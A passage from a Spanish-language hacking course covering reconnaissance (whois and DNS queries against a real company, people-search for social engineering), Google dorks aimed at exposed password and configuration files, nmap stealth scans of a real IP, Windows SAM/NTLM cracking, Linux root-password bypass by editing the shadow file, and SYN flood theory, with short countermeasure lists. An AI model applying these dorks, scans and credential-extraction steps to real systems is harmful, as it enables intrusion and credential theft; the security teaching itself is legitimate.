• Robtex (http://www.robtex.com/) Otro servicio parecido a Cuwhois, muy completo, que cuenta también con una gran cantidad de herramientas

• Yougetsignal (http://www.yougetsignal.com/) Otro todo en uno como Cuwhois, Robtex, etc.

• Intodns (http://www.intodns.com/) Herramienta para verificar el funcionamiento correcto de los servidores DNS y de correo que podremos utilizar para obtener información de los mismos

- 19 -

Page 20: Seguridad

• Freednsinfo (http://www.freednsinfo.com/) Otra herramientä semejante a IPTools• Dnsstuff (http://www.dnsstuff.com) Es un servicio similar a los anteriores, aunque no

es gratuito.• Dnsenquirty (http://www.dnsenquiry.com/) Otro servicio que nos permitirá analizar el

whois, dns lookup y ping• Visualware (http://visualroute.visualware.com/) Servicio Web que nos permitirá

seguir visualmente el camino que se recorre hasta llegar a la IP del servidor objetivo. Requiere Java

• 123people (http://www.123people.es/) Con este servicio podremos buscar información sobre personas a partir de su nombre, nos será de utilidad para saber información de una persona cuando hayamos conseguido su nombre a través de metadatos, registro Whois, etc. Nos ayudará a encontrar sus posibles blogs, vídeos subidos a youtube, publicaciones, etc. Analizaremos un poco de su vida para futuros ataques con ingeniería social.

Finalmente la última técnica que veremos será el análisis de cabeceras de los correos electrónicos. Para ello será clave que consigamos que alguien de la organización a auditar nos envíe un email, o tengan un sistema con el que podamos enviarlo nosotros mismos, como los típicos de “enviar esta noticia a un amigo”:

- 20 -

Page 21: Seguridad

Si analizamos el correo “completo”…:

Obtener informacion de los DNSEn Internet existen sitios donde se realiza el registro de nombres de dominio, o sea donde yo registro www.soyunhacker.org y otros. El más conocido de estos sitios es InterNIC. La información sobre nombres de dominio puede consultarse de muchas maneras, y es impresionante lo que puede averiguarse. Si bien las consultas pueden hacerse desde la página, en Linux tenemos el comando 'whois' que realiza justamente la función de consultar la base de datos de dominios de InterNIC. Veamos de qué formas podemos utilizarlo.

Hagamos una consulta por todos los dominios que posean un determinado string. En nuestro caso probemos buscando “Telefonica”jomax@g460:~$ whois -h whois.crsnic.net "Telefonica"

TELEFONICA.VCRINGS.COM TELEFONICA.TUHOGAR.NET TELEFONICA.PTSSA.NET TELEFONICA.MOTOSTIVOLIRENT.NET TELEFONICA.ES TELEFONICA.EAW-WEB.COM TELEFONICA.DNSPERU123.BIZ TELEFONICA.COM.BR TELEFONICA.NET TELEFONICA.COM

>>> Last update of whois database: Sat, 19 Nov 2011 20:01:31 UTC <<<

The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

Ahora que tenemos identificado el dominio que nos interesa podemos obtener información más detallada utilizando nuevamente whoisjomax@g460:~$ whois telefonica.com

- 21 -

Page 22: Seguridad

Server Name: TELEFONICA.COM.BR Registrar: DIRECTI INTERNET SOLUTIONS PVT. LTD. D/B/A PUBLICDOMAINREGISTRY.COM Whois Server: whois.PublicDomainRegistry.com Referral URL: http://www.PublicDomainRegistry.com

Domain Name: TELEFONICA.COM Registrar: INTERDOMAIN, S.A. Whois Server: whois.interdomain.net Referral URL: http://www.interdomain.es Name Server: NS3CHOS01.TELEFONICA-DATA.COM Name Server: NSJC8HOS01.TELEFONICA-DATA.COM Status: clientDeleteProhibited Status: clientTransferProhibited Status: clientUpdateProhibited Updated Date: 18-oct-2006 Creation Date: 03-may-1996 Expiration Date: 04-may-2013

>>> Last update of whois database: Sat, 19 Nov 2011 19:48:24 UTC <<<

The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.

Domain Name................ telefonica.com Creation Date............ 03/05/1996 Expiry Date.............. 04/05/2013 Last Update Date......... 10/05/2011 Organization Contact Id.... PROP-1230-00091872 Organization Name........ TELEFONICA, S.A. Organization Org......... TELEFONICA, S.A. Organization Street...... GRAN VIA, 28 Organization City........ MADRID Organization State....... MADRID Organization PC.......... 28013 Organization Country..... ES Organization Phone....... +34.902106082 Organization Fax......... +34.915844509 Organization e-mail...... [email protected] Administrative Contact Id.. 1052-00136019 Administrative Name...... MANUEL CRESPO DE LA MATA Administrative Org....... TELEFONICA S.A. Administrative Street.... GRAN VIA 28 Administrative City...... MADRID Administrative State..... MADRID Administrative PC........ E-28013 Administrative Country... ES Administrative Phone..... +34.902106082 Administrative Fax....... +34.915844509 Administrative e-mail.... [email protected] Technical Contact Id....... 1052-00136020 Technical Name........... Ventanilla Unica Technical Org............ TELEFONICA S.A. Technical Street......... GRAN VIA 28 Technical City........... MADRID Technical State.......... MADRID Technical PC............. E-28013 Technical Country........ ES Technical Phone.......... +34.917548900 Technical Fax............ +34.915840589 Technical e-mail......... [email protected]

- 22 -

Page 23: Seguridad

Domain servers in listed order:

Name Server............. nsjc8hos01.telefonica-data.com Name Server............. ns3chos01.telefonica-data.com Name Server............. Name Server............. Name Server............. Name Server.............

Veamos ahora que nos arroja la consulta con el comando host:jomax@g460:~$ host -d telefonica.comTrying "telefonica.com" ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59625 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION: ;telefonica.com. IN A

;; ANSWER SECTION: telefonica.com. 2133 IN A 195.53.169.57

Received 48 bytes from 192.168.1.1#53 in 2 ms Trying "telefonica.com" ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35212 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION: ;telefonica.com. IN AAAA

Received 32 bytes from 192.168.1.1#53 in 2 ms Trying "telefonica.com" ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23594 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 13, ADDITIONAL: 12

;; QUESTION SECTION: ;telefonica.com. IN MX

;; ANSWER SECTION: telefonica.com. 2331 IN MX 10 smtpus.telefonica.com. telefonica.com. 2331 IN MX 10 smtpar.telefonica.com.

Received 506 bytes from 192.168.1.1#53 in 308 ms

Como vimos, es muy facil conseguir datos importantes y además las direcciones IP de cualquier servicio web. Es importante que tambien en los casos donde “host” nos devuelve un dominio en vez de una ip, podremos resolverlo utilizando “dig”jomax@g460:~$ dig smtpus.telefonica.com

; <<>> DiG 9.7.3 <<>> smtpus.telefonica.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46508 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 12

;; QUESTION SECTION: ;smtpus.telefonica.com. IN A

- 23 -

Page 24: Seguridad

;; ANSWER SECTION: smtpus.telefonica.com. 1309 IN A 216.177.207.223

;; Query time: 330 msec ;; SERVER: 192.168.1.1#53(192.168.1.1) ;; WHEN: Sat Nov 19 17:11:09 2011 ;; MSG SIZE rcvd: 483

- 24 -

Page 25: Seguridad

GOOGLE HACKING

Los buscadores son herramientas muy populares que todos usamos y que todos necesitamos y además son muy potentes y absorben toda la información que encuentran en su camino que no esté debidamente protegida.

Google es hoy en día el buscador más popular en uso, siendo sus técnicas de recolección de datos y algoritmos de clasificación muy avanzados, lo que proporciona resultados certeros en las búsquedas a poco que sepamos trabajar con sus múltiples funcionalidades.

Google es, con toda probabilidad, el buscador más tecnológicamente avanzado que existe.

Esto facilita que dispongamos de mucha información en la red. Pero también posibilita que podamos hallar información sensible que no ha sido protegida adecuadamente.

Veamos en qué consiste esta técnica de minado de datos con fines maliciosos, utilizando ejemplos y con algunos consejos de como prevenirlos.

¿Qué es el Google Hacking? A esta altura te estarás imaginando que descargas una super aplicación oculta en algún link de Google por la cual serás capaz de obtener acceso a los servidores del mundo.

Nada más lejos de la realidad pero tampoco tan equivocado. La realidad es que aplicación que utilizaremos para esta técnica es el mismo buscador de Google.

Para que comprendas mejor lo que quiero decirte, abre tu navegador favorito y escribe literalmente (respeta las comillas y los simbolos por favor):

"Microsoft (R) Windows * (TM) Version * DrWtsn32 Copyright (C)" ext:log

o tal vez podriamos hacer la siguiente búsqueda:

"teléfono * * *" "dirección *" "e-mail" intitle:"curriculum vitae" ext:pdf

Por si no ha quedado claro la técnica conocida como Google Hacking consiste en conocer como funciona el buscador para explotar su potencial a nuestro favor.

Si las búsquedas las orientamos a ciertas palabras clave que nos ayuden a encontrar información sensible, puntos de entrada sensibles a posibles ataques, como por ejemplo:

"SquirrelMail version 1.4.4" inurl:src ext:php

o cualquier otro tipo de información que tuviera carácter de sensibilidad, estaremos ejecutando un Google hack.

- 25 -

Page 26: Seguridad

“Google Hacking” es buscar en Google información sensible, generalmente con fines que seguramente no sea el que estás

pensando ;-)

Más ejemplos de Google Hacking

Productos vulnerables"Powered by MercuryBoard [v1"

Mensajes de error"Warning: mysql_query()" "invalid query"

Archivos que contienen información sensible"Index of" / "chat/logs"

Archivos que contienen clavesext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-"

Archivos que contienen nombres de usuariofiletype:conf inurl:proftpd.conf -sample

Footholds e información de apoyo al acceso+htpasswd +WS_FTP.LOG filetype:log

Páginas con formularios de acceso"You have requested access to a restricted area of our website. Please authenticate yourself to continue."

Páginas que contienen datos relativos a vulnerabilidadesfiletype:pdf "Assessment Report" nessus

Directorios sensiblesfiletype:cfg ks intext:rootpw -sample -test -howto

Información sensible sobre comercio y banca electrónicainurl:shopdbtest.asp

- 26 -

Page 27: Seguridad

Dispositivos hardware onlinecamera linksys inurl:main.cgi

Archivos vulnerablesintitle:"Directory Listing" "tree view"

Servidores vulnerablesintitle:"Mail Server CMailServer Webmail" "5.2"

Detección de servidores webintitle:"Welcome to Windows Small Business Server 2003"

¿Cómo impedir ser víctimas de Google Hacks? La mejor forma de no convertirnos en una víctima es aprender cómo funciona Google. Conozca y experimente las posibilidades de la búsqueda avanzada. Entienda que las búsquedas son muy refinables y que es el motor de búsqueda más poderoso que hay hoy en día, que no sólo está pensado para ordenar y encontrar páginas web, sino que también pueden hallarse documentos de OpenOffice, informes, faxes, notas privadas, fotografías, teléfonos, etc.

Absolutamente todo lo que sea accesible desde un navegador terminará en las bases de datos de Google para que cualquiera lo encuentre.

Una vez que hayamos comprendido lo gigantesco que es Google, comprenderemos que podemos utilizarlo para hallar documentos inocuos, podemos emplearlo para obtener documentos con datos sensibles.

Esta no es una técnica tonta y obsoleta. Hay gente que vive utilizandola y comercializando la información que extrae de ellas.

Si dispone de su propia página web, asegúrese de comprender lo importante que es tener un archivo de robots.txt correctamente configurado.

Tener una página web es algo más que colocar fotos y documentos en la Red para que las vean sus amigos o sus familiares. Nuevamente les recuerdo en que todo lo que se coloca en servidores Web (la nube) es susceptible de ser indexado por los motoroes de las bases de datos de Google. Esto es aplicable para cualquier objeto accesible desde documentos Web: cámaras web, impresoras, etc.

- 27 -

Page 28: Seguridad

Consejos finalesNo deje de consultar los parámetros que definen el mecanismo de posicionamiento de resultados en Google. Aplique "posicionamiento inverso" a todo aquello que quiera mantener lejos de ojos ajenos. Puestos a aparecer, mejor aparecer en el puesto doscientos que en el quinto. No está de más usar el buscador para aprender cómo funciona el Google Hacking y aplicar técnicas de inversión aplicadas a su caso. Además debería replantearse la exclusión de los robots.

- 28 -

Page 29: Seguridad

& SCANNING ENUMERATION

Nmap (de Network Mapper) es una utilidad de software libre para explorar, administrar y auditar la seguridad de redes de ordenadores. Detecta hosts online, sus puertos abiertos, servicios y aplicaciones corriendo en ellos, su sistema operativo, que firwalls/filtros corren en una red y de que tipo son. Es excelente para hacer trabajos de auditoria y fue diseñado para llevar acabo escaneos rápidos en una gran cantidad de redes, pero es igualmente usable en hosts individuales. Es reconocido como el scanner de puertos mas poderoso. Y se lo usa basicamente para 3 cosas:

• Auditorias de seguridad.• Pruebas rutinarias de redes.• Recolector de informacion para futuros ataques

Nmap es software libre y por lo tanto gratuito. Y basicamente existe una version para cada sistema operativo que conozcas: MacOSX, Microsoft Windows, GNU/Linux, OpenBSD, Solaris, etc.

Funcionamiento de NmapEs capaz de utilizar diferentes técnicas de evasión de detección como escaneo sealth. Soporta escaneos sobre ciertos puertos específicos, entre rangos IP específicos, uso se paquetes Null, FIN, Xmas y ACK, además SYN que es el paquete por defecto. Esto significa que se mandan cierto tipo de paquetes a cada puerto y estos responderán con alguna señal que permitirá a scanner encontrar versiones y servicios.

Conceptos importantes¿Que es un puerto?Un puerto es una zona en la que dos ordenadores (hosts) intercambian información

¿Que es un servicio?Un servicio es el tipo de información que se intercambia con una utilidad determinada como ssh o telnet.

¿Que es un Firewall?Un firewall acepta o no el trafico entrante o saliente de un ordenador.

¿Que son paquetes SYN?Así por encima, pueden ser paquetes que abren un intento de establecer una conexión TCP.

Debemos tener en cuenta que para Nmap un puerto puede estar de tres maneras:• open: el puerto es accesible y hay un demonio escuchando.• closed: el puerto es accesible pero no hay un demonio escuchando.• filtered: el puerto no es accesible, un firewall filtra el puerto.

- 29 -

Page 30: Seguridad

Instalacion en LinuxEn el caso de distribuciones basadas en Debian se instala via apt:sudo apt-get install nmap

Si usas otra distro puedes buscarlo en los repositorios de tu distro y 100% seguro que lo encontrarás. Y si usas algún otro sistema operativo entra a esta pagina http://nmap.org/download.html y lo descargas.

Como usar NmapLa forma más básica de usarlo es escribir en una consola algo como:nmap 192.168.1.1

Es decir el comando nmap seguido de una ip o dominio. Este uso tán básico solo nos devuelve que puertos están abiertos tras un scan simple. Dependiendo de la seguridad de la ip que se escanee puede que nos bloquee el escaneo si lo hacemos de esa manera. Una forma mas discreta de hacerlo que no deja registros en el sistema es así:nmap –sS 192.168.1.1

Cabe resaltar que existen varios tipos de modificadores de scan lo mas importante es lograr identificar la combinación mas apropiada, los modificadores que se pueden utilizar para realizar el scan son los siguientes:

• sT se intenta hacer un barrido de puertos por TCP la ventaja de esta técnica es que no requiere usuarios privilegiados, opuesto a sS

• sU se intenta hacer un barrido de puertos por UDP, es útil cuando se intentan descubrir puertos de nivel superior que pueden estar detrás de un firewall, lenta pero permite hacer auditorias mas exactas.

• sA se usan mensajes de ACK para lograr que sistema responda y así dterminar si el puerto esta abierto algunos Firewall no filtran estos Mensajes y por ello puede ser efectivo en algunos casos.

• sX puede pasar algunos Firewall con malas configuraciones y detectar servicios prestándose dentro de la red

• sN puede pasar algunos Firewall con malas configuraciones y detectar servicios prestándose dentro de la red

• sF puede pasar algunos Firewall con malas configuraciones y detectar servicios prestándose dentro de la red

• sP este modificador ayuda a identificar que sistemas están arriba en la red (en funcionamiento) para luego poder hacer pruebas mas especificas, similar a Ping.

• sV intenta identificar los servicios por los puertos abiertos en el sistema esto permite evaluar cada servicio de forma individual para intentar ubicar vulnerabilidades en los mismos.

• sO con esta opción se identifica que protocolos de nivel superior a capa tres (Red o Network) responden en el sistema, de esta manera es mas fácil saber las características de la red o el sistema que se intenta evaluar.

- 30 -

Page 31: Seguridad

Adicionalmente a las opciones de scan se pueden especificar opciones que permiten explotar mas aun la herramienta, dentro de las opciones que mas frecuentemente se usan están las de evitar el Ping o mostrar todos los resultados en pantalla al máximo detalle, veamos cuales son estas opciones:

• b Para determinar si la victima es vulnerable al “bounce attack”• n no hace conversiones DNS para hacer el -sP mas rapido• vv hacer la salida de la herramienta detallada en pantalla• f habilita la fracmentacion de esta forma es mucho mas complejo para un un firewall

u otro tipo de sistema lograr hacer el rastreo.• oN redirige la salida a un archivo• oX redirige la salida a un archivo XML• --stylesheet con esta opción se usa una hoja de estilo que hace mas fácil la lectura

de la salida en XML• P0 indica que no se debe hacer ping a los sistemas objetivo antes de iniciar el

análisis útil para evitar el bloque en algunos Firewall• p se usa para especificar puertos de análisis o rango de puertos.• T se usa para especificar la velocidad general del scan de esta forma se puede pasar

inadvertido en algunos sistemas que detectan la velocidad de los paquetes entrantes.

Veamos algunos ejemplos:

nmap –sV –P0 –O –vv –o archivo.txt 192.168.1.1

El anterior comando ejecuta un barrido (scan) de puertos sobre la IP seleccionada, evita que se ejecute Ping sobre la maquina, además de esto intenta detectar el sistema operativo, para cada puerto según las cabeceras que se retornan se detecten los servicios ejecutándose y la información se dejara en el archivo.txt

nmap 192.168.1.0/24

El anterior comando escanea una red completa

nmap 192.168.1.100 -p 10-200

El anterior comando escanea un rango de puertos

Veamos un ejemplo completo y real:jomax@g460:~$ sudo nmap -sS 67.208.113.135

Starting Nmap 5.00 ( http://nmap.org ) at 2011-11-19 17:34 ART NSE: Loaded 0 scripts for scanning. Initiating Ping Scan at 17:34 Scanning 67.208.113.135 [4 ports] Completed Ping Scan at 17:34, 0.41s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 17:34 Completed Parallel DNS resolution of 1 host. at 17:34, 0.00s elapsed Initiating SYN Stealth Scan at 17:34 Scanning geminis2.dotlinux.com.ar (67.208.113.135) [1000 ports] Discovered open port 21/tcp on 67.208.113.135 Discovered open port 53/tcp on 67.208.113.135

- 31 -

Page 32: Seguridad

Discovered open port 22/tcp on 67.208.113.135 Discovered open port 80/tcp on 67.208.113.135 Completed SYN Stealth Scan at 17:35, 28.99s elapsed (1000 total ports) Host geminis2.dotlinux.com.ar (67.208.113.135) is up (0.24s latency). Interesting ports on geminis2.dotlinux.com.ar (67.208.113.135): Not shown: 994 filtered ports PORT STATE SERVICE 20/tcp closed ftp-data 21/tcp open ftp 22/tcp open ssh 53/tcp open domain 80/tcp open http 667/tcp closed unknown

Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 29.59 seconds Raw packets sent: 3008 (132.328KB) | Rcvd: 22 (908B)

Otra opción muy interesante es instalar zenmap que nos permitirá utilizar nmap en modo grafico facilitando aún más su uso.

- 32 -

Page 33: Seguridad

SYSTEM HACKING

La idea central del Hackeo de sistemas es el romper o adivinar passwords o claves para poder tener acceso a los sistemas, cuentas de e-mail, información confidencial, etc. Una vez se tiene acceso al sistema comprometido lo próximo es escalar privilegios, ejecutar aplicaciones, esconder archivos y cubrir las huellas para no poder ser detectado.

Windows System HackingLos passwords o claves pueden ser rotos o adivinados de manera manual (dificil) o con herramientas automatizadas (facil) como ataques de diccionario y de fuerza bruta. Para romper passwords manualmente sigua estos pasos:

1. Encuentre una cuenta valida de usuario, como Administrador o Guest.2. Cree una lista de posibles passwords.3. Ordene la lista de alta a baja probabilidad.4. Pruebe cada password.5. Inténtelo hasta que el password sea encontrado.

Hacerlo de manera manual no es muy efectivo y consume bastante tiempo. Pero es bueno practicarlo porque no siempre vamos a tener a la mano herramientas automatizadas que hagan el trabajo por nosotros.Los SO Windows y Linux tienen un archivo donde guardan los passwords (en forma de hash) para propósitos de logon o login al sistema, así que la manera más efectiva de romper un password para tener acceso a un sistema es teniendo acceso a este archivo.En Windows los passwords son guardados en el archivo llamado SAM (Security Accounts Manager) pero este archivo está asegurado (locked) cuando el SO está funcionando, por lo tanto es imposible copiar o mover el archivo. Más adelante le decimos como copiar el archivo SAM en Windows. En Linux los passwords son guardados en el archivo llamado password shadow file.

¿Qué es el NT LanManager Hash?

Los SO Windows 2000, XP y 2003Los SO Windows 2000, XP y 2003 utilizan el algoritmo NT Lan Manager (NTLM) para asegurar, cifrar y guardar los passwords de usuario, incluso las más recientes versiones de Windows, como vista y 7 utilizan NTLM por razones de compatibilidad pero este debe ser activado manualmente para cuentas locales a través de la configuración de lapóliza de seguridad (Security Policy)y para Active Directory se activa aplicando la misma configuración a los controladores de dominio (domain controller).

Se considera como una buena práctica de seguridadinhabilitar el NTLM si este no se necesita, porque el NTLM es considerado débil y obsoleto. Las nuevas versiones de Windows (Vista / 7 / Server 2008) utilizan NTLMv2 o el protocolo Kerberos.

- 33 -

Page 34: Seguridad

El NTLM es considerado débil porque dependiendo del password el hash puede ser bien fácil de romper.

Ejemplo:

Supongamos que su clave o password para acceder a su sistema Windows es123abc una vez presionado el botón Enter la clave se convierte a letras Mayúsculas: 123ABC como la clave es menor de14 caracteres a esta se le añaden 0 (ceros) para completar 14 caracteres: 123ABC00000000. Antes de que el password sea cifrado, los 14 caracteres son divididos por la mitad: 123ABC0 y 0000000. Entonces cada pedazo es cifrado individualmente y el resultado de cada uno es unido o concatenado:

• 123ABC0 = 7BB597FA94CD5C1D

• 0000000 = AAD3B435B51404EE

Entonces el hash sería = 7BB597FA94CD5C1DAAD3B435B51404EE

Si la clave es de 7 caracteres o menos el resultado de la segunda mitad del hash siempre será AAD3B435B51404EE.

Rompiendo passwords en Windows 2000 y XP1. Inicie la máquina con un SO alterno como DOS o Linux con un boot CD.

2. Copie el archivo SAM desde el directorio “repair” (C:\windows\repair\)

3. Como el archivo SAM se comprime cuando se crea en el directorio “repair” debe descomprimirlo o expandirlo utilizando el comando del “Command Prompt”, C:\>expand sam sam.txt (el archivo sam.txt es el archivo destino donde se descomprimirá el archivo SAM)

4. Después que el archivo es descomprimido se le puede realizar un ataque de diccionario, hibrido o de fuerza bruta utilizando una herramienta automatizada como “L0phtCrack”.

Los 4 tipos de ataques a passwords

Passive Online (pasivo en línea)Este tipo de ataque también es conocido como “sniffing the password”. Se realiza tanto en redes cableadas (wire) como inalámbricas (wireless). Los ataques pasivos no pueden ser detectados por el usuario final. El atacante obtiene el password durante el proceso de autenticación o login. Si el password obtenido esta en forma de hash o cifrado, entonces el hacker usara alguna herramienta de su arsenal para romperlo.

Active Online (activo en línea)Este tipo de ataque se refiere a tratar de adivinar la clave. Este ataque solo es efectivo si el password de Administrador es simple o débil.

- 34 -

Page 35: Seguridad

Offline (fuera de línea)Los ataques offline son realizados desde una ubicación que no es la de la computadora que se intenta acceder.

Por ejemplo:

Usted logra copiar el archivo SAM de una computadora de una biblioteca pública en una memoria portátil. Luego usted se va a su casa e intenta romper el password en su computadora.

Existen 3 tipos de ataques Offline:

• Dictionary attack: es un ataque mediante el uso de listas de palabras encontradas en los diccionarios. Un ejemplo seria: Administrador

• Hybrid attack: este ataque sustituye letras por números y añade números al final. Un ejemplo seria: Adm1n1strador o Administrador35

• Brute-force attack: este tipo de ataques intenta todas las combinaciones de letras, números y caracteres especiales. Un ejemplo seria: Admin#45tra@dor

• Nonelectronic attack: se refiere a los ataques que no requieren conocimientos técnicos para romper una clave. Algunos ejemplos son:

◦ ataques como ingeniería social

◦ shoulder surfing (mirar por encima del hombro de otra persona para ver la clave que escribe)

◦ dumpster diving (rebuscar en la basura)

Herramientas para romper Passwords:1. Legion: Programa automatizado para adivinar passwords en sesiones del NetBIOS.

Legion tambien escanea multiples rangos de direcciones IP y tiene una herramienta para ataques de diccionarios.

2. KerbCrack: Consiste de 2 programas: elkerbsniffy y elkerbcrack. El primero es un sniffer que literalmente escucha en la red y captura los logins del protocolo Kerberos en Windows 2000/XP. El segundo, el cracker es usado para encontrar passwords del archivo capturado usando un ataque de fuerza bruta (brute force) o de diccionario.

3. Win32CreateLocalAdminUser: Programa usado para crear un nuevo usuario con el nombre de usuario y password X. Añade al usuario X al grupo local del Administrador.

4. C2MYAZZ: Es un programa espía (spyware) que hace que los sistemas Windows (cliente) envien los passwords en texto plano.

5. SMBDie: Este pequeño programa hace que los sistemas Windows NT/2000/XP colapsen enviando pedidos (request) especialmente manipulados al SMB (Server Message Block).

6. SMBrelay: Es un servidor SMB que captura hashes de nombres de usuarios y

- 35 -

Page 36: Seguridad

passwords del tráfico recibido por el SMB.

7. SMBrelay2: Es parecido al SMBrelay pero en vez de usar direcciones IP para capturar nombres de usuario y passwords utiliza nombres del NetBIOS.

8. L0phtCrack: Este programa captura paquetes del Server Message Block (SMB) en segmentos de una red local y captura sesiones individuales de login. Tambien posee herramientas para ataques de diccionario, fuerza-bruta e hibridos.

9. Samdump: Programa para ver el contenido de los archivos SAM. Abra el Command Prompt y entre samdump sam. Recuerde que debe ejecutar el programa y tener el archivo SAM en el mismo directorio donde se está ejecutando el Command Prompt.

Contramedidas• Nunca deje el password por defecto

• Nunca utilice passwords que se puedan encontrar en un diccionario

• Nunca utilice passwords relacionados a sus pasatiempo, nombre de mascotas, nombres de miembros de su familia, fechas de nacimiento, etc., etc

• Nunca utilice passwords relacionados a los nombre de host y dominios

• Se recomienda por los profesionales de seguridad informática que los passwords se cambien cada 30 días.

• Nunca reutilice los últimos 3 passwords.

• Monitoree los logs del Event Viewer (Windows) o el Auth (en linux). Los Administradores necesitan monitorear estos registros para reconocer intentos de intrusión al sistema.

Como localizar el Event Viewer en Windows XP

Start > Control Panel > Administrative Tools > Event Viewer (en la ventana izq. seleccione el log Security)

Como localizar el Event Viewer en Windows Vista

Start > Event Viewer (en la ventana izq. seleccione Windows logs y dentro elija el log Security)

- 36 -

Page 37: Seguridad

Linux System HackingTal vez por culpa del Alzheimer o simplemente porque nos encontramos un servidor sin dueño, tenemos que reiniciar la clave del usuario root para poder acceder al mismo.

Si bien existen distintos metodos para lograr el mismo resultado, unicamente voy a describir los dos más utilizados.

Procedimiento 1: “GRUB sin Password”

Este procedimiento es el más rápido de todos pero solo puede ser utilizado cuando GRUB o GRUB2 no poseen una password de acceso.

1. Encendemos el equipo con Linux

2. En la pantalla de inicio de Grub tipeamos la letra 'e' para editar las opciones de arranque.

3. Ahora, al final de la linea que comienza con el string “linux”, debemos agregar el string “init=/bin/bash” de manera que quede algo similar a esto:

linux /boot/vmlinuz-version root=UUID=hex ro quite init=/bin/bash

4. El último paso que debemos realizar es apretar las teclas CTRL+X para iniciar el proceso de arranque.

Cuando el sistema operativo termine de iniciarse en este modo recovery tenemos que escribir los siguientes comandos:

# mount -o remount,rw# passwd (debemos escribir la nueva password de root dos veces)# sync reboot

Despues de reiniciar el sistema ya tendremos acceso al usuario root del sistema.

Procedimiento 2: “GRUB con Password”

Este es el metodo que tendremos que realizar si nos encontramos con un gestor de arranque GRUB o GRUB2 protegido por una password.

1. Encendemos el equipo y nos aseguraremos de iniciarlo con cualquier LiveCD que tengamos a la mano.

2. Cuando tengamos disponible una consola del LiveCD identificaremos el disco local del equipo en el que está instalado el linux al que no tenemos acceso.

3. Ahora debemos crear un directorio para montar este disco utilizando el comando mount con una linea muy similar a esta: mount /dev/sdaX /tmp/testdir

4. Una vez montado el disco, ingresamos al directorio en donde montamos el disco de nuestro linux y ahi buscaremos el archivo shadow que estará en el directorio /tmp/testdir/etc/.

- 37 -

Page 38: Seguridad

5. Lo unico que debemos hacer, es editar el archivo shadow eliminando la password del usuario root. Para esto utilizaremos el editor vi o el que tengamos disponible.

6. Por ejemplo en este caso

root:dsfDSDF!s:12581:0:99999:7:::

la password es dsfDSDF!s asi que procederemos a eliminarla dejandola en blanco para que quede como el siguiente ejemplo:

root::12581:0:99999:7:::

7. Una vez editado el archivo shadow lo grabamos, desmontamos el disco y reiniciamos el equipo.

Estos procedimientos son realmente muy sencillos, pero eso no significa que los sistemas Windows sean más seguros que los sistemas

Linux.

- 38 -

Page 39: Seguridad

DENEGACION DE SERVICIO

Un ataque de denegación de servicio, también llamado ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible por sus usuarios. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos del sistema de la víctima.

Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le denomina "denegación", pues hace que el servidor no dé abasto a la cantidad de solicitudes. Esta técnica es usada para dejar fuera de servicio a los servidores objetivo.

- 39 -

Page 40: Seguridad

Una ampliación del ataque Dos es el llamado ataque distribuido de denegación de servicio, también llamado ataque DDoS (de las siglas en inglés Distributed Denial of Service) el cual se lleva a cabo generando un gran flujo de información desde varios puntos de conexión.

La forma más común de realizar un DDoS es a través de una botnet, siendo esta técnica el ciberataque más usual y eficaz por su sencillez tecnológica.

En ocasiones, esta herramienta ha sido utilizada como un buen método para comprobar la capacidad de tráfico que un equipo puede soportar sin volverse inestable y afectar a los servicios que presta. Un administrador de redes puede así conocer la capacidad real de cada máquina.

Métodos de ataque Un ataque de "Denegación de servicio" impide el uso legítimo de los usuarios al usar un servicio de red. El ataque se puede dar de muchas formas. Pero todas tienen algo en común: utilizan el protocolo TCP/IP para conseguir su propósito.

Un ataque DoS puede ser perpetrado de varias formas. Aunque básicamente consisten en:

• Consumo de recursos, tales como ancho de banda, espacio de disco, o tiempo de procesador

• Alteración de información de configuración, tales como la información de rutas• Alteración de información de estado, tales como interrupción de sesiones TCP (TCP

reset) • Interrupción de componentes físicos de red• Obstrucción de medios de comunicación entre usuarios de un servicio y la víctima,

de manera que ya no puedan comunicarse adecuadamente.

Inundación SYN (SYN Flood)

Principios de TCP/IP Cuando una máquina se comunica mediante TCP/IP con otra, envía una serie de datos junto a la petición real. Estos datos forman la cabecera de la solicitud. Dentro de la cabecera se encuentran unas señalizaciones llamadas Flags (banderas).Estas señalizaciones (banderas) permiten iniciar una conexión, cerrarla, indicar que una solicitud es urgente, reiniciar una conexión, etc. Las banderas se incluyen tanto en la solicitud (cliente), como en la respuesta (servidor).

Para aclararlo, veamos cómo es un intercambio estándar TCP/IP:

1. Establecer Conexión: El cliente envía una Flag SYN, si el servidor acepta la conexión, éste, debería responderle con un SYN/ACK luego el cliente debería responder con una Flag ACK.

- 40 -

Page 41: Seguridad

1-Cliente --------SYN-----> 2 Servidor 4-Cliente <-----SYN/ACK---- 3 Servidor 5-Cliente --------ACK-----> 6 Servidor

2. Resetear Conexión: Al haber algún error o perdida de paquetes de envío se establece envío de Flags RST: 1-Cliente -------Reset-----> 2-servidor 4-Cliente <----Reset/ACK---- 3-Servidor 5-Cliente --------ACK------> 6-Servidor

La inundación SYN envía un flujo de paquetes TCP/SYN (varias peticiones con Flags SYN en la cabecera), muchas veces con la dirección de origen falsificada. Cada uno de los paquetes recibidos es tratado por el destino como una petición de conexión, causando que el servidor intente establecer una conexión al responder con un paquete TCP/SYN-ACK y esperando el paquete de respuesta TCP/ACK (Parte del proceso de establecimiento de conexión TCP de 3 vías). Sin embargo, debido a que la dirección de origen es falsa o la dirección IP real no ha solicitado la conexión, nunca llega la respuesta.

